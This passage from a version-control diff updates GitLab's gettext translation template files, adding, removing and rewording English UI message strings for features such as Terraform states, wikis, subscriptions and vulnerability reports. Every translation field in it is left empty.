-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25933,10 +26482,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25960,6 +26509,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -26077,9 +26629,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -26239,6 +26788,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26407,6 +26968,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -26416,6 +26980,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26464,6 +27031,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26638,6 +27208,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26806,9 +27379,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26848,6 +27418,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26866,24 +27439,48 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26908,6 +27505,12 @@ msgstr[5] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26935,6 +27538,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26965,6 +27571,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -27064,9 +27673,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -27076,10 +27682,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -27148,9 +27754,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -27196,6 +27799,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -27244,6 +27850,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -27289,6 +27901,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27400,6 +28015,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -27409,7 +28027,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -27421,9 +28039,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -27439,6 +28054,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27526,6 +28144,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27841,9 +28462,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27853,9 +28471,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27898,6 +28513,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27961,7 +28579,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27970,9 +28588,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -28087,7 +28702,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -28108,9 +28723,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -28189,6 +28801,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -28234,6 +28849,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28534,6 +29152,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28558,6 +29179,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28693,7 +29317,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28792,6 +29416,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -29134,6 +29761,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -29200,7 +29830,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -29272,10 +29902,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -29470,9 +30100,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29491,6 +30118,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29527,6 +30157,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29617,6 +30250,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29764,6 +30400,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29821,6 +30463,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29866,6 +30511,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29896,6 +30544,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29932,6 +30583,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29974,15 +30628,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -30052,7 +30706,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -30139,6 +30793,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -30196,6 +30853,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -30289,9 +30949,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30397,6 +31054,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -30445,10 +31108,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30463,6 +31123,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30487,6 +31150,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30616,6 +31282,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30631,6 +31300,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30712,12 +31384,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30778,7 +31456,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30934,6 +31618,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -31015,9 +31702,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -31027,6 +31711,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -31072,6 +31759,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -31231,6 +31921,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -31273,6 +31966,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31351,6 +32047,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31435,9 +32137,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31480,13 +32179,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr ""
-
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31516,9 +32212,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31537,6 +32230,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31561,6 +32257,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31573,6 +32272,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31714,6 +32416,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31762,6 +32467,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31771,6 +32482,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31780,6 +32494,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31954,13 +32671,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr ""
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -32131,6 +32845,12 @@ msgstr[5] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -32149,9 +32869,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -32167,9 +32884,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -32212,9 +32926,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -32311,6 +33022,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32341,6 +33055,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -32362,7 +33079,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32899,6 +33616,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32926,6 +33646,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32938,6 +33661,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -33031,6 +33757,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -33088,6 +33817,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -33100,9 +33832,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -33151,9 +33889,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -33184,10 +33919,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -33196,6 +33931,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -33205,6 +33943,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -33277,6 +34018,15 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/as_IN/gitlab.po b/locale/as_IN/gitlab.po
index 11b3760c590..70354758563 100644
--- a/locale/as_IN/gitlab.po
+++ b/locale/as_IN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: as\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:43\n"
+"PO-Revision-Date: 2020-12-03 08:12\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
